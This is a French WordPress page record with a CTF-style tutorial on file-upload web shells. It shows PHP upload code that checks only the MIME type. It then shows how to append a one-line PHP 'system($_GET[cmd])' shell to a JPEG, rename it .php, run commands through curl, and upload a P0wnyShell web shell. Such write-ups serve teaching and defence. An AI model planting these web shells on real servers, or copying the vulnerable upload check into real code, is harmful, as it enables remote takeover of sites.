{"id":55,"date":"2026-03-29T18:55:03","date_gmt":"2026-03-29T16:55:03","guid":{"rendered":"https:\/\/www.l.ctf.arrobe.fr\/?page_id=55"},"modified":"2026-03-29T18:55:28","modified_gmt":"2026-03-29T16:55:28","slug":"tutoriel-webshell","status":"publish","type":"page","link":"https:\/\/www.l.ctf.arrobe.fr\/?page_id=55","title":{"rendered":"Tutoriel WebShell"},"content":{"rendered":"\n<p>Pourquoi faut-il ajouter plusieurs v\u00e9rifications avant d\u2019upload d\u2019une image\u00a0?<\/p>\n\n\n\n<p>Pour pouvoir upload une image sur un groupe, la seule v\u00e9rification effectu\u00e9e \u00e9tait celle du type MIME du fichier. Si celui-ci correspondait \u00e0 une image, alors on pouvait passer la v\u00e9rification et uploader notre fichier, avec l\u2019extension que l\u2019on voulait.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$finfo = finfo_open(FILEINFO_MIME_TYPE);\n        $mime  = finfo_file($finfo, $_FILES&#91;'image']&#91;'tmp_name']);\n        finfo_close($finfo);\n\n        if (!in_array($mime, &#91;'image\/png', 'image\/jpeg'])) {\n            die(\"Only PNG or JPEG allowed\");\n        }\n\n        $ext = pathinfo($_FILES&#91;'image']&#91;'name'], PATHINFO_EXTENSION);\n        $imageName = uniqid() . \".\" . $ext;\n        move_uploaded_file($_FILES&#91;'image']&#91;'tmp_name'], $UPLOAD_DIR . $imageName);\n    }<\/code><\/pre>\n\n\n\n<p>Comment bypass le MIME\u00a0?<\/p>\n\n\n\n<p>Si vous avez suivis, le MIME v\u00e9rifie une partie du contenu de l\u2019image et dit \u00ab\u00a0Ok c\u2019est du binaire JPEG, je laisse passer\u00a0\u00bb. A partir de l\u00e0, on se dit que l\u2019on va cacher du code PHP dans une image.<\/p>\n\n\n\n<p>1<sup>er<\/sup> \u00e9tape\u00a0: On t\u00e9l\u00e9charge une image<\/p>\n\n\n\n<p>2eme \u00e9tapes : On ins\u00e8re le code \u00e0 la suite de l\u2019image<br><\/p>\n\n\n\n<p>On commence par un code simple, voir si le serveur web va ex\u00e9cuter notre fichier\u00a0:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo '&lt;?php system($_GET&#91;\"cmd\"]); ?>' >> cat.jpeg<\/code><\/pre>\n\n\n\n<p>Puis renommer votre image en .php, car le serveur web doit l\u2019interpr\u00e9ter comme du php, pas du jpeg.<\/p>\n\n\n\n<p>\u00a0On voit bien dans la requ\u00eate que le contenu est une image mais celle-ci est bien envoy\u00e9 en tant que php<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"945\" height=\"470\" src=\"https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image.png\" alt=\"\" class=\"wp-image-57\" srcset=\"https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image.png 945w, https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-300x149.png 300w, https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-768x382.png 768w\" sizes=\"auto, (max-width: 945px) 100vw, 945px\" \/><\/figure>\n\n\n\n<p>Avec une requ\u00eate du type\u00a0: curl <a href=\"https:\/\/dev.k.ctf.arrobe.fr\/uploads\/6967f336a2ede.php?cmd=ls\">https:\/\/dev.k.ctf.arrobe.fr\/uploads\/6967f336a2ede.php?cmd=ls<\/a> | strings depuis le terminal on a ce r\u00e9sultat<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"945\" height=\"405\" src=\"https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-1.png\" alt=\"\" class=\"wp-image-58\" srcset=\"https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-1.png 945w, https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-1-300x129.png 300w, https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-1-768x329.png 768w\" sizes=\"auto, (max-width: 945px) 100vw, 945px\" \/><\/figure>\n\n\n\n<p>Maintenant qu\u2019on a vu que l\u2019on pouvait faire une RCE, on va allez installer un shell bien plus qualitatif.<\/p>\n\n\n\n<p>On fait les m\u00eames \u00e9tapes\u00a0:<\/p>\n\n\n\n<p>On concat\u00e8ne l\u2019image et le shell php dans un nouveau fichier<\/p>\n\n\n\n<p>cat cat2.jpeg P0wnyShell.php > miaou.php<br><br>Puis on upload l&rsquo;image<\/p>\n\n\n\n<p>Ensuite on se connecte depuis un navigateur, et voila\u00a0:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"945\" height=\"618\" src=\"https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-2.png\" alt=\"\" class=\"wp-image-59\" srcset=\"https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-2.png 945w, https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-2-300x196.png 300w, https:\/\/www.l.ctf.arrobe.fr\/wp-content\/uploads\/2026\/03\/image-2-768x502.png 768w\" sizes=\"auto, (max-width: 945px) 100vw, 945px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Pourquoi faut-il ajouter plusieurs v\u00e9rifications avant d\u2019upload d\u2019une image\u00a0? Pour pouvoir upload une image sur un groupe, la seule v\u00e9rification effectu\u00e9e \u00e9tait celle du type MIME du fichier. Si celui-ci correspondait \u00e0 une image, alors on pouvait passer la v\u00e9rification et uploader notre fichier, avec l\u2019extension que l\u2019on voulait. Comment bypass le MIME\u00a0? Si vous [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-55","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.l.ctf.arrobe.fr\/index.php?rest_route=\/wp\/v2\/pages\/55","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.l.ctf.arrobe.fr\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.l.ctf.arrobe.fr\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.l.ctf.arrobe.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.l.ctf.arrobe.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=55"}],"version-history":[{"count":1,"href":"https:\/\/www.l.ctf.arrobe.fr\/index.php?rest_route=\/wp\/v2\/pages\/55\/revisions"}],"predecessor-version":[{"id":60,"href":"https:\/\/www.l.ctf.arrobe.fr\/index.php?rest_route=\/wp\/v2\/pages\/55\/revisions\/60"}],"wp:attachment":[{"href":"https:\/\/www.l.ctf.arrobe.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=55"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}